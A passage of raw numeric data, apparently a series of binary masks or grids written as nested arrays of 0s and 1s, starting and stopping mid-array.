0,0,0,0],[1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0],[0,0,0,1,1,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0],[1,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,0,1,0,1,0,0,1,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1,1,1,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]], [[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0